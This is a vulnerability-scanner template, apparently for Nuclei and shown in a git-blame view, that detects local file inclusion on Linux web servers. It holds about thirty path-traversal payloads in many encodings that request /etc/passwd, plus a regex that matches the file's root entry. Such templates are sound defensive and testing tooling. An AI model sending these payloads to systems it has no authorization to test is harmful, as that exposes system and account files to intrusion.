2021-08-07 17:32:17 +00:00
|
|
|
id: generic-linux-lfi
|
|
|
|
|
2020-10-20 15:47:25 +00:00
|
|
|
info:
|
2022-07-26 13:45:11 +00:00
|
|
|
name: Generic Linux - Local File Inclusion
|
2022-08-31 16:31:15 +00:00
|
|
|
author: geeknik,unstabl3,pentest_swissky,sushantkamble,0xSmiley,DhiyaneshDK
|
2020-10-20 15:47:25 +00:00
|
|
|
severity: high
|
2022-07-26 13:45:11 +00:00
|
|
|
description: Generic Linux is subject to local file Inclusion on searches for /etc/passwd on passed URLs.
|
2022-08-31 16:31:15 +00:00
|
|
|
reference: https://github.com/imhunterand/ApachSAL/blob/main/assets/exploits.json
|
2022-07-26 13:45:11 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
|
|
cvss-score: 7.5
|
|
|
|
cwe-id: CWE-22
|
2021-08-11 07:38:00 +00:00
|
|
|
tags: linux,lfi,generic
|
2020-10-20 15:47:25 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
2021-04-18 19:20:54 +00:00
|
|
|
- "{{BaseURL}}/etc/passwd"
|
2021-08-07 17:32:17 +00:00
|
|
|
- "{{BaseURL}}/..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/..%5c..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/..%5c..%5c..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/..%5c..%5c..%5c..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/..%5c..%5c..%5c..%5c..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/static/..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/static/..%5c..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/static/..%5c..%5c..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/static/..%5c..%5c..%5c..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/static/..%5c..%5c..%5c..%5c..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/static/..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/static/..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/./../../../../../../../../../../etc/passwd"
|
|
|
|
- "{{BaseURL}}/%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2eetc/passwd"
|
|
|
|
- "{{BaseURL}}/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./etc/passwd"
|
|
|
|
- "{{BaseURL}}/..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
|
|
|
|
- "{{BaseURL}}/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd"
|
2021-09-18 19:13:32 +00:00
|
|
|
- "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
|
2022-08-31 16:31:15 +00:00
|
|
|
- "{{BaseURL}}/..///////..////..//////etc/passwd"
|
|
|
|
- "{{BaseURL}}/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd"
|
|
|
|
- "{{BaseURL}}/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
|
|
|
|
- "{{BaseURL}}/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00"
|
|
|
|
- "{{BaseURL}}/index.php?page=etc/passwd"
|
|
|
|
- "{{BaseURL}}/index.php?page=etc/passwd%00"
|
2022-08-31 16:33:32 +00:00
|
|
|
- "{{BaseURL}}/index.php?page=../../etc/passwd"
|
2022-08-31 16:31:15 +00:00
|
|
|
- "{{BaseURL}}/index.php?page=....//....//etc/passwd"
|
|
|
|
- "{{BaseURL}}/../../../../../../../../../etc/passwd"
|
2022-08-31 16:33:32 +00:00
|
|
|
|
2021-09-02 11:59:10 +00:00
|
|
|
stop-at-first-match: true
|
2020-10-20 15:47:25 +00:00
|
|
|
matchers:
|
|
|
|
- type: regex
|
2021-09-18 19:13:32 +00:00
|
|
|
regex:
|
2021-07-24 21:35:55 +00:00
|
|
|
- "root:.*:0:0:"
|
2020-10-20 15:47:25 +00:00
|
|
|
part: body
|
2022-07-26 13:45:11 +00:00
|
|
|
|
|
|
|
# Enhanced by mp on 2022/07/22
|